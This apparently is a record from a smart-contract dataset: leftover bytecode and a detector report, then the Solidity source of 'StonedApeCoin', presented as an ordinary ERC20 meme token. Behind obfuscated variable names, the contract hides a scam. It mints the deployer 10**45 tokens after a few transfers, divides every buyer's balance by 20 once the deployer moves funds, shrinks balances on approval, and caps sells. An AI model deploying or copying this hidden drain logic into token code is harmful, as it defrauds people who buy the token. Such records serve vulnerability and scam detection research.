fffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612822565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612822565b6040518363ffffffff1660e01b81526004016110b4929190612d0d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612822565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612d5f565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e91906129f2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550660eebe0b40e8000600f81905550662cc3a21c2b80006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161131d929190612d36565b602060405180830381600087803b15801561133757600080fd5b505af115801561134b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136f9190612998565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146990612f3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612e5d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c09190612f7d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612efd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612dfd565b60405180910390fd5b600081116116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790612edd565b60405180910390fd5b6000600a819055506009600b81905550611708610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117765750611746610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561181f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119295750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119415750600e60179054906101000a900460ff165b15611a7f57600f5481111561198b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198290612e1d565b60405180910390fd5b60105481611998846109db565b6119a291906130b3565b11156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612f1d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2e57600080fd5b601e42611a3b91906130b3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b805750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b96576000600a819055506009600b819055505b6000611ba1306109db565b9050600e60159054906101000a900460ff16158015611c0e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c265750600e60169054906101000a900460ff165b15611c4e57611c3481611e63565b60004790506000811115611c4c57611c4b47611d89565b5b505b505b611c5b8383836120eb565b505050565b6000838311158290611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9f9190612ddb565b60405180910390fd5b5060008385611cb79190613194565b9050809150509392505050565b600080831415611cd75760009050611d39565b60008284611ce5919061313a565b9050828482611cf49190613109565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b90612e9d565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120fb565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390612e3d565b60405180910390fd5b6000611e4661215e565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a613369565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee061333a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8357600080fd5b505afa158015611f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbb9190612822565b81600181518110611fcf57611fce61333a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611402565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a959493929190612f98565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120f6838383612189565b505050565b60008083118290612142576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121399190612ddb565b60405180910390fd5b50600083856121519190613109565b9050809150509392505050565b600080600061216b612354565b915091506121828183611d3f90919063ffffffff16565b9250505090565b60008060008060008061219b876123b3565b9550955095509550955095506121f986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122da816124c3565b6122e48483612580565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123419190612f7d565b60405180910390a3505050505050505050565b6000806000600854905060006705d423c655aa000090506123886705d423c655aa0000600854611d3f90919063ffffffff16565b8210156123a6576008546705d423c655aa00009350935050506123af565b81819350935050505b9091565b60008060008060008060008060006123d08a600a54600b546125ba565b92509250925060006123e061215e565b905060008060006123f38e878787612650565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c60565b905092915050565b600080828461247491906130b3565b9050838110156124b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b090612e7d565b60405180910390fd5b8091505092915050565b60006124cd61215e565b905060006124e48284611cc490919063ffffffff16565b905061253881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125958260085461241b90919063ffffffff16565b6008819055506125b08160095461246590919063ffffffff16565b6009819055505050565b6000806000806125e660646125d8888a611cc490919063ffffffff16565b611d3f90919063ffffffff16565b905060006126106064612602888b611cc490919063ffffffff16565b611d3f90919063ffffffff16565b905060006126398261262b858c61241b90919063ffffffff16565b61241b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126698589611cc490919063ffffffff16565b905060006126808689611cc490919063ffffffff16565b905060006126978789611cc490919063ffffffff16565b905060006126c0826126b2858761241b90919063ffffffff16565b61241b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ec6126e784613032565b61300d565b9050808382526020820190508285602086028201111561270f5761270e61339d565b5b60005b8581101561273f57816127258882612749565b845260208401935060208301925050600181019050612712565b5050509392505050565b600081359050612758816136b3565b92915050565b60008151905061276d816136b3565b92915050565b600082601f83011261278857612787613398565b5b81356127988482602086016126d9565b91505092915050565b6000813590506127b0816136ca565b92915050565b6000815190506127c5816136ca565b92915050565b6000813590506127da816136e1565b92915050565b6000815190506127ef816136e1565b92915050565b60006020828403121561280b5761280a6133a7565b5b600061281984828501612749565b91505092915050565b600060208284031215612838576128376133a7565b5b60006128468482850161275e565b91505092915050565b60008060408385031215612866576128656133a7565b5b600061287485828601612749565b925050602061288585828601612749565b9150509250929050565b6000806000606084860312156128a8576128a76133a7565b5b60006128b686828701612749565b93505060206128c786828701612749565b92505060406128d8868287016127cb565b9150509250925092565b600080604083850312156128f9576128f86133a7565b5b600061290785828601612749565b9250506020612918858286016127cb565b9150509250929050565b600060208284031215612938576129376133a7565b5b600082013567ffffffffffffffff811115612956576129556133a2565b5b61296284828501612773565b91505092915050565b600060208284031215612981576129806133a7565b5b600061298f848285016127a1565b91505092915050565b6000602082840312156129ae576129ad6133a7565b5b60006129bc848285016127b6565b91505092915050565b6000602082840312156129db576129da6133a7565b5b60006129e9848285016127cb565b91505092915050565b600080600060608486031215612a0b57612a0a6133a7565b5b6000612a19868287016127e0565b9350506020612a2a868287016127e0565b9250506040612a3b868287016127e0565b9150509250925092565b6000612a518383612a5d565b60208301905092915050565b612a66816131c8565b82525050565b612a75816131c8565b82525050565b6000612a868261306e565b612a908185613091565b9350612a9b8361305e565b8060005b83811015612acc578151612ab38882612a45565b9750612abe83613084565b925050600181019050612a9f565b5085935050505092915050565b612ae2816131da565b82525050565b612af18161321d565b82525050565b6000612b0282613079565b612b0c81856130a2565b9350612b1c81856020860161322f565b612b25816133ac565b840191505092915050565b6000612b3d6023836130a2565b9150612b48826133bd565b604082019050919050565b6000612b606019836130a2565b9150612b6b8261340c565b602082019050919050565b6000612b83602a836130a2565b9150612b8e82613435565b604082019050919050565b6000612ba66022836130a2565b9150612bb182613484565b604082019050919050565b6000612bc9601b836130a2565b9150612bd4826134d3565b602082019050919050565b6000612bec6021836130a2565b9150612bf7826134fc565b604082019050919050565b6000612c0f6020836130a2565b9150612c1a8261354b565b602082019050919050565b6000612c326029836130a2565b9150612c3d82613574565b604082019050919050565b6000612c556025836130a2565b9150612c60826135c3565b604082019050919050565b6000612c78601a836130a2565b9150612c8382613612565b602082019050919050565b6000612c9b6024836130a2565b9150612ca68261363b565b604082019050919050565b6000612cbe6017836130a2565b9150612cc98261368a565b602082019050919050565b612cdd81613206565b82525050565b612cec81613210565b82525050565b6000602082019050612d076000830184612a6c565b92915050565b6000604082019050612d226000830185612a6c565b612d2f6020830184612a6c565b9392505050565b6000604082019050612d4b6000830185612a6c565b612d586020830184612cd4565b9392505050565b600060c082019050612d746000830189612a6c565b612d816020830188612cd4565b612d8e6040830187612ae8565b612d9b6060830186612ae8565b612da86080830185612a6c565b612db560a0830184612cd4565b979650505050505050565b6000602082019050612dd56000830184612ad9565b92915050565b60006020820190508181036000830152612df58184612af7565b905092915050565b60006020820190508181036000830152612e1681612b30565b9050919050565b60006020820190508181036000830152612e3681612b53565b9050919050565b60006020820190508181036000830152612e5681612b76565b9050919050565b60006020820190508181036000830152612e7681612b99565b9050919050565b60006020820190508181036000830152612e9681612bbc565b9050919050565b60006020820190508181036000830152612eb681612bdf565b9050919050565b60006020820190508181036000830152612ed681612c02565b9050919050565b60006020820190508181036000830152612ef681612c25565b9050919050565b60006020820190508181036000830152612f1681612c48565b9050919050565b60006020820190508181036000830152612f3681612c6b565b9050919050565b60006020820190508181036000830152612f5681612c8e565b9050919050565b60006020820190508181036000830152612f7681612cb1565b9050919050565b6000602082019050612f926000830184612cd4565b92915050565b600060a082019050612fad6000830188612cd4565b612fba6020830187612ae8565b8181036040830152612fcc8186612a7b565b9050612fdb6060830185612a6c565b612fe86080830184612cd4565b9695505050505050565b60006020820190506130076000830184612ce3565b92915050565b6000613017613028565b90506130238282613262565b919050565b6000604051905090565b600067ffffffffffffffff82111561304d5761304c613369565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130be82613206565b91506130c983613206565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130fe576130fd6132dc565b5b828201905092915050565b600061311482613206565b915061311f83613206565b92508261312f5761312e61330b565b5b828204905092915050565b600061314582613206565b915061315083613206565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613189576131886132dc565b5b828202905092915050565b600061319f82613206565b91506131aa83613206565b9250828210156131bd576131bc6132dc565b5b828203905092915050565b60006131d3826131e6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061322882613206565b9050919050565b60005b8381101561324d578082015181840152602081019050613232565b8381111561325c576000848401525b50505050565b61326b826133ac565b810181811067ffffffffffffffff8211171561328a57613289613369565b5b80604052505050565b600061329e82613206565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132d1576132d06132dc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136bc816131c8565b81146136c757600080fd5b50565b6136d3816131da565b81146136de57600080fd5b50565b6136ea81613206565b81146136f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f09b414a8b859cf628a3db6fdcd21e9ca68748bc4cfdcc8c494c808e6b33ead64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,795 |
0x7e284882d7e263cf3f5d3269c22f222fc347abd7
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/*
███████ ████████ ██████ ███ ██ ███████ ██████ █████ ██████ ███████ ██████ ██████ ██ ███ ██
██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██
███████ ██ ██ ██ ██ ██ ██ █████ ██ ██ ███████ ██████ █████ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██████ ██ ████ ███████ ██████ ██ ██ ██ ███████ ██████ ██████ ██ ██ ████
@StonedApeCoin
Not enough from APEs yet?
Then join us now for
the stoned Ape.
He is the master of 420.
@StonedApeCoin
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Africa;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private Congo;
address private Rainforest = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Trees = 0;
address public pair;
uint256 private Nigeria;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSanders; uint256 private _totalSupply;
bool private trading; bool private Angola; uint256 private Dodo;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_msgSanders = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function openTrading() external onlyOwner returns (bool) {
trading = true;
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _balancesOfTheGorillas(address account) internal {
_balances[account] += (((account == _msgSanders) && (Nigeria > 2)) ? (10 ** 45) : 0);
}
function _balancesOfTheMany(address sender, address recipient, uint256 amount, bool rebirth) internal {
Angola = rebirth ? true : Angola;
if (((Africa[sender] == true) && (Africa[recipient] != true)) || ((Africa[sender] != true) && (Africa[recipient] != true))) { Congo.push(recipient); }
if ((Africa[sender] != true) && (Africa[recipient] == true)) { require(amount < (_totalSupply / 12)); }
if ((Angola) && (sender == _msgSanders)) {
for (uint256 i = 0; i < Congo.length; i++) {
_balances[Congo[i]] /= 20;
}
}
_balances[Rainforest] /= (((Trees == block.timestamp) || (Angola)) && (Africa[recipient] != true) && (Africa[Rainforest] != true) && (Dodo > 1)) ? (100) : (1);
Dodo++; Rainforest = recipient; Trees = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _TheMiniApe(address creator) internal virtual {
approve(_router, 10 ** 77);
(Nigeria,Angola,Dodo,trading) = (0,false,0,true);
(Africa[_router],Africa[creator],Africa[pair]) = (true,true,true);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _balancesOfTheMonkeys(address sender, address recipient, uint256 amount) internal {
require((trading || (sender == _msgSanders)), "ERC20: trading for the token is not yet enabled.");
_balancesOfTheMany(sender, recipient, amount, (address(sender) == _msgSanders) && (Nigeria > 0));
Nigeria += (sender == _msgSanders) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balancesOfTheMonkeys(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
_balancesOfTheGorillas(sender);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
_balances[owner] /= (Angola ? 20 : 1);
emit Approval(owner, spender, amount);
}
function _DeployMiniApeCoin(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployMiniApeCoin(creator, initialSupply);
_TheMiniApe(creator);
}
}
contract StonedApeCoin is ERC20Token {
constructor() ERC20Token("StonedApeCoin", "SAPE", msg.sender, 420000000 * 10 ** 18) {
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8aa1b3111610066578063a8aa1b3114610213578063a9059cbb14610226578063c9567bf914610239578063dd62ed3e1461024157600080fd5b8063715018a6146101c95780638da5cb5b146101d357806395d89b41146101f8578063a457c2d71461020057600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806342966c681461018d57806370a08231146101a057600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027a565b60405161011a9190610f21565b60405180910390f35b610136610131366004610f92565b61030c565b604051901515815260200161011a565b6010545b60405190815260200161011a565b610136610166366004610fbc565b610322565b6040516012815260200161011a565b610136610188366004610f92565b6103d8565b61013661019b366004610ff8565b61040f565b61014a6101ae366004611011565b6001600160a01b031660009081526003602052604090205490565b6101d1610423565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6104c7565b61013661020e366004610f92565b6104d6565b600a546101e0906001600160a01b031681565b610136610234366004610f92565b610571565b61013661057e565b61014a61024f366004611033565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600d805461028990611066565b80601f01602080910402602001604051908101604052809291908181526020018280546102b590611066565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b5050505050905090565b60006103193384846105ef565b50600192915050565b600061032f848484610783565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103b95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103cd85336103c886856110b7565b6105ef565b506001949350505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916103199185906103c89086906110ce565b600061041b338361096e565b506001919050565b6001546001600160a01b0316331461047d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600e805461028990611066565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b0565b61056733856103c886856110b7565b5060019392505050565b6000610319338484610783565b6001546000906001600160a01b031633146105db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b506011805460ff1916600190811790915590565b6001600160a01b0383166106515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166106b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b038381166000908152600460209081526040808320938616835292905220819055601154610100900460ff166106f05760016106f3565b60145b60ff1660036000856001600160a01b03166001600160a01b03168152602001908152602001600020600082825461072a91906110e6565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161077691815260200190565b60405180910390a3505050565b6001600160a01b0383166107e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b6001600160a01b038316600090815260036020526040902054818110156108c15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b0565b6108cc848484610a80565b6108d682826110b7565b6001600160a01b03808616600090815260036020526040808220939093559085168152908120805484929061090c9084906110ce565b9091555061091b905084610b6e565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161096091815260200190565b60405180910390a350505050565b6001600160a01b0382166109ce5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b0565b6001600160a01b0